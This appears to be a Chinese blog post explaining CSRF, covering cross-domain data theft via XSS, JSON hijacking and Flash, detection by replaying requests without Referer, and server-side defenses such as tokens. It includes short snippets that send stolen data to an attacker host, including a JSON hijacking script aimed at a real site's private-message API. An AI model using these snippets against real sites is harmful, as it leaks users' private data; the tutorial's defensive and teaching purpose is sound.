CSRF

CSRF(跨站伪造请求):

一、CSRF攻击获取数据的方法:

要获取的关键数据:用户 id、用户昵称、用户 email、用户个人页面地址等。

同域内 CSRF 攻击获取数据几乎没任何限制。

跨域 CSRF 攻击获取数据的几种方法总结如下:

1、XSS

2、服务端代理技术

3、JSON Hijacing

4、Flash AsctionScript(crossdomain.xml)

(1)XSS 获取数据:

如之前关于XSS文章做的三方的演示,使用目标站点上的XSS 漏洞:

其中get.js 的代码为:

//use DOM method to get your data

new Image(). src=‘http://恶意站点/a.php?data=‘+data;

恶意站点的 a.php 文件接收唯一标识等数据,该唯一标识可以是 url 中的或是目标站点url 对应的内容中的。这样受害者就会访问到第三方的恶意网站从而泄露信息。

(2)使用 JSON Hijacking技术:

目标站点使用了 JSON 数据传输用户私有数据,其中包含需要的唯一标识等信息。

相关代码:

<script> function hijack(o){
//use DOM method to get your data
new Image().src=”http://192.168.1.2/JSONHiJack.asp?hi=”+escape(data);
}</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>

<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>

三、使用Flash ActionScript 脚本:

前提是目标站点下存在crossdomain.xml文件,且其配置允许其他域的 AS脚本进行跨域请求。

相关代码:

import flash.Net.*;

var _l = new URLLoader(new URLRequest(“http://目标站点/”));

_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});

_l.load();

二、检测方法:

最简单的方法就是抓取一个正常请求的数据包,去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。

一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。

以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻 击。

三、防御方法:

1、 服务端的防御:主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。

(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。

(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。

(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。

(5)、使用验证码或者密码确认方式,缺点是用户体验差。

2、 用户端的防御:用户的安全意识与良好的上网习惯。

3、 安全设备的防御:有些厂商的安全产品能基于硬件层面对HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击

posted @ 2022-03-03 15:00  追梦,追念。。  阅读(127)  评论(0编辑  收藏  举报